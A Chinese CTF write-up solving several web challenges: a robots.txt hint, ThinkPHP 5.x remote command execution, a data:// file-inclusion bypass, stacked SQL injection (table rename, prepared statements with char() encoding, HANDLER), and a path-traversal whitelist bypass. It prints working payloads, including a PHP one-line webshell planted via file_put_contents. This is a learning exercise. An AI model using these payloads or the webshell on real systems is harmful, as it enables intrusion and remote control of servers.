Training-WWW-Robots
根据题目描述,robots协议
访问/robots.txt:
访问/fl0g.php:
php_rce
给出了thinkphp的版本,网上查找漏洞:
ThinkPHP 5.x远程命令执行漏洞分析与复现
构造payload:
1.利用system函数远程命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
2.反弹shell,进行连接:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php @eval($_POST['ctf']);?>
新建1.php文件,并写入一句话木马,蚁剑连接:
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page); // 过滤了php://
}
include($page);
?>
文件包含题目。
payload:
?page=data://text/plain,<?php system('ls');?>
?page=data://text/plain,<?php system('cat fl4gisisish3r3.php');?>
查看源码。
supersqli
前面的一般操作不再陈述。
过滤了关键词:
但是可以使用堆叠注入:
1';show databases ;--+
1';show tables ;--+
1';show columns from words;#
1';show columns from `1919810931114514`;# (字符串为表名操作时要加反引号)
由此可以判断,默认查询的为word表,id和data(字符串)
学到了三种做法:
第一种:
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1' or 1=1 # 得到flag
第二种:
预处理语句使用方式:
PREPARE sqla from '[my sql sequece]'; //预定义SQL语句
EXECUTE sqla; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE sqla from @sql; //预定义SQL语句
EXECUTE sqla; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
payload:
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;# 使用char绕过的select的过滤
第三种:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
warmup
查看源码,获得source.php,访问,代码审计。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
//字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
// 白名单
return true;
}
$_page = mb_substr( // 从0开始,截取字符串
$page,
0,
mb_strpos($page . '?', '?') //返回第一个问号的位置
);
if (in_array($_page, $whitelist)) { // 白名单
return true;
}
$_page = urldecode($page); // url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
访问hint.php:
先看看代码 ↑↑↑↑
1.字符串
2.白名单,要存在source,hint
3.截取第一个问号之前的字符串
4.再一次白名单
5.url解码
6.再一次截取第一个问号之前的字符串
?file=source.php?/../../../../ffffllllaaaagggg
四个…/,ffffllllaaaagggg算是隐藏提示。
但是这道题的payload有很多形式,可能是因为返回true的条件不唯一。